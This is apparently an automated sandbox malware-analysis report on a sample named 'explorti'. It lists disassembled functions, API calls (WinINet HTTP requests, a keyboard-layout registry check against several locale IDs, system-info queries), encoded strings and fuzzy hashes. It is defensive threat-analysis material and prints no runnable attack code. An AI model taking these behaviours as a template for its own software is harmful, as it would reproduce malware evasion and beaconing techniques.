Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: "$0657d1$246122658369$5120$6YK0$7470$75G0$7JS0$84K0$85K3cq==$8IG0$8lU=$9YY0$9pG0$Dy==$FAml$IEYUMK==$KIG+$KIK+$T4Ve$TZC0$TZS0$Toe0$UIU0$UIrm$UZbf$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-4111701409
Opcode ID: e4241844451a6442dac20e11511611527d77be7f86e6d48da4e13d4aa5602e3b
Instruction ID: 78b03568be1b8ac07c8ad1694330fc56f2f99f97b62e2c646feb028c09f29725
Opcode Fuzzy Hash: e4241844451a6442dac20e11511611527d77be7f86e6d48da4e13d4aa5602e3b
Instruction Fuzzy Hash: 41521371A00248DBEF18EF78CD4A7DEBBB5AF85300F505199E445B72C2D7349A84CBA2

Function 00EB46C0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 00EB7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00EB795C
Part of subcall function 00EB7870: __Cnd_destroy_in_situ.LIBCPMT ref: 00EB7968
Part of subcall function 00EB7870: __Mtx_destroy_in_situ.LIBCPMT ref: 00EB7971

Part of subcall function 00EABD60: InternetOpenW.WININET(00EF8D68,00000000,00000000,00000000,00000000), ref: 00EABDED
Part of subcall function 00EABD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00EABE10
Part of subcall function 00EABD60: HttpOpenRequestA.WININET(?,00000000), ref: 00EABE5B

std::_Xinvalid_argument.LIBCPMT ref: 00EB4EA2

Strings

9pG0, xrefs: 00EB54DB
stoi argument out of range, xrefs: 00EB4269, 00EB4EAC
75G0, xrefs: 00EB5470
IEYUMK==, xrefs: 00EB54B9
TZC0, xrefs: 00EB541E
84K0, xrefs: 00EB5497
8lU=, xrefs: 00EB6383, 00EB6652
0657d1, xrefs: 00EB5489
KIK+, xrefs: 00EB47BD, 00EB48EC, 00EB4ADC, 00EB4C0B
7JS0, xrefs: 00EB5351
85K3cq==, xrefs: 00EB4712
KIG+, xrefs: 00EB4776, 00EB47ED, 00EB4A95, 00EB4B0C
Dy==, xrefs: 00EB369E, 00EB4D2D
8IG0, xrefs: 00EB53F5
9YY0, xrefs: 00EB53CC
Toe0, xrefs: 00EB5447
UIU0, xrefs: 00EB53A3
7470, xrefs: 00EB531D
246122658369, xrefs: 00EB4F3A, 00EB4F4D, 00EB4F8F, 00EB4F99, 00EB54F4
6YK0, xrefs: 00EB5502
TZS0, xrefs: 00EB537A

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 0657d1$246122658369$6YK0$7470$75G0$7JS0$84K0$85K3cq==$8IG0$8lU=$9YY0$9pG0$Dy==$IEYUMK==$KIG+$KIK+$TZC0$TZS0$Toe0$UIU0$stoi argument out of range
API String ID: 2414744145-1285461467
Opcode ID: 1692197ce340f01ce8f90f8563ccbff52267864b49d78a02dcf670872c36655a
Instruction ID: 248dc7b4831150d4c3088e31bfb97671858e02f6ad4f8e66f91d3fb41759078b
Opcode Fuzzy Hash: 1692197ce340f01ce8f90f8563ccbff52267864b49d78a02dcf670872c36655a
Instruction Fuzzy Hash: AF231771E001588BEB19DB28CD897DEBBB69B85304F5481D8E0487B2D6EB399F84CF51

Function 00EA5DF0 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 364
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000001,80000001,00000000,000F003F,?), ref: 00EA5E23

Strings

00000423, xrefs: 00EA600A
Keyboard Layout\Preload, xrefs: 00EA5F64
00000419, xrefs: 00EA5FA8
Sx, xrefs: 00EA5B52, 00EA5B6F, 00EA5C09, 00EA59C7, 00EA5C82
00000422, xrefs: 00EA5FD9
0000043f, xrefs: 00EA603B

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$Sx
API String ID: 71445658-3161718263
Opcode ID: eed79c5e4f6586490cbf0f137958a8a920b45eb31d535c62c2c70ad106980601
Instruction ID: 16feeb366973b618e80ae4a585ffd1859a38705b17c0fe5441ca27f8e2cb6ac5
Opcode Fuzzy Hash: eed79c5e4f6586490cbf0f137958a8a920b45eb31d535c62c2c70ad106980601
Instruction Fuzzy Hash: 1AE19F71900218AFEB24DB94CC89BDEB7B9EF09304F5452D9E508BB291DB74ABC48F51

Function 00EA7D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00EA7EA3

Strings

HlurOK==, xrefs: 00EA8062
HlurNa==, xrefs: 00EA81B2
HlusMa==, xrefs: 00EA810A

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: HlurNa==$HlurOK==$HlusMa==
API String ID: 1721193555-2203186029
Opcode ID: 57f643aadadfb5e8ae5ecb5cbb5633b79714b5b4248164ca3924f60b96ee4e0f
Instruction ID: f88a46eaf03a7cb2e99c0c8c171ee8295859426907a44e7ff8062bfc0a07227d
Opcode Fuzzy Hash: 57f643aadadfb5e8ae5ecb5cbb5633b79714b5b4248164ca3924f60b96ee4e0f
Instruction Fuzzy Hash: 32D1E771E006189BDB14EB28CD4B3AD77B1AB4B314F505288E4557F3D2DB35AE8097E2

Function 00ED6E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 00ED6E23
GetFileInformationByHandle.KERNELBASE(?,?), ref: 00ED6E7D
__dosmaperr.LIBCMT ref: 00ED6F12

Part of subcall function 00ED7177: __dosmaperr.LIBCMT ref: 00ED71AC

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 44068afd898e00727606cb117c6cd242a5a84e7b3ae9d074aca06b06fd5beeca
Instruction ID: c8bf38156df677002ecc09ebdcea280af628e667c56e57860f471ed2abe0cb47
Opcode Fuzzy Hash: 44068afd898e00727606cb117c6cd242a5a84e7b3ae9d074aca06b06fd5beeca
Instruction Fuzzy Hash: B8414D75A00604ABDB24DFB5EC419AFB7F9EF88304B10652EF856E3750E731A906CB61

Function 00ED6C99 Relevance: 3.1, APIs: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70c30e002000291cee4dfaac0fca9219a96a8147eb6e6f780e9932a61cb9e4b0
Instruction ID: a564a489f8493856e7495a1d0ea5a5302b98794e073f22569c48605b5451fcae
Opcode Fuzzy Hash: 70c30e002000291cee4dfaac0fca9219a96a8147eb6e6f780e9932a61cb9e4b0
Instruction Fuzzy Hash: DF21D6719012086EEB11BB64AC42B9E376ADF41338F205312F9343B3D1DB705E0796A2

Function 00EDD4F4 Relevance: 1.7, APIs: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfab6e1b2a9e3cc881a209dd7f49dc6a4b97c58e933f1a213f3a60bf9bc19738
Instruction ID: c5651472b3447b7882906bb73480419b6ebbbc5060923265bc0921b706a46e79
Opcode Fuzzy Hash: bfab6e1b2a9e3cc881a209dd7f49dc6a4b97c58e933f1a213f3a60bf9bc19738
Instruction Fuzzy Hash: EA61E432D08214CFDF259FA8EC856EDBBB0EB55328F246117E454BB391D6319D02CBA1

Function 00EA82B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00EA8454

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 6f014e6c9bfa9a2dacad8d7c6996e0c26846cef7abc26fea1fbe617cdb8b25cd
Instruction ID: 143415238eabe3265cf2a84174e18a71b2d6b7770e44c12671d4a75a0aa2fecd
Opcode Fuzzy Hash: 6f014e6c9bfa9a2dacad8d7c6996e0c26846cef7abc26fea1fbe617cdb8b25cd
Instruction Fuzzy Hash: 83513C71D042189BEB24EF24CD457DEB7B5DB4E304F505299E815BB2C1EF34AE848B91

Function 00ED6F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 00ED6FB3

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: c203b6eb4f03f33c0de5a954bc1d3b46f60a70dedc82d129c077eced2d867d8c
Instruction ID: 5f4aa180f77bedb4cced4f1f677094a6ba0733d691a8e485d4a519a20fc59c22
Opcode Fuzzy Hash: c203b6eb4f03f33c0de5a954bc1d3b46f60a70dedc82d129c077eced2d867d8c
Instruction Fuzzy Hash: 8311EF72A0060CAADB10DF95D984EDFB7BDEB08314F506667E551F6280EB30EB45CB61

Function 00EDD6EF Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,00EDA5ED,?,00ED74AE,?,00000000,?), ref: 00EDD731

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7b6c8128bb5de1201c9a977a9eb89f62c65f4ed61b8acbee9475b16d4de49bba
Instruction ID: 4bb10943168f30b312ddfcfefb58a6b52e8ad933065236c08234280ddeb52666
Opcode Fuzzy Hash: 7b6c8128bb5de1201c9a977a9eb89f62c65f4ed61b8acbee9475b16d4de49bba
Instruction Fuzzy Hash: C3F0E93165D12566DB222A219D01B6B7B99DF817B4B187193EC14FA381CA60D81342E1

Function 00EDAF0B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,AAA0B14D,?,?,00EBD32C,AAA0B14D,?,00EB78FB,?,?,?,?,?,?,00EA7435,?), ref: 00EDAF3E

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0469c54bb5745b9026d0dd6a48e489595400b28268107c2cb0628e6943b916f6
Instruction ID: a629f3f8c4bb475dc27de6a8443e9f67b57bfc2e6a4a9948a31f238a4f4b8c90
Opcode Fuzzy Hash: 0469c54bb5745b9026d0dd6a48e489595400b28268107c2cb0628e6943b916f6
Instruction Fuzzy Hash: 7CE0E5613162155ADA3133255D0076A7689DB413B5F0D21F3EC54B6381DAA0CE0351E3

Function 00EB6AE0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 00EB6B65

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
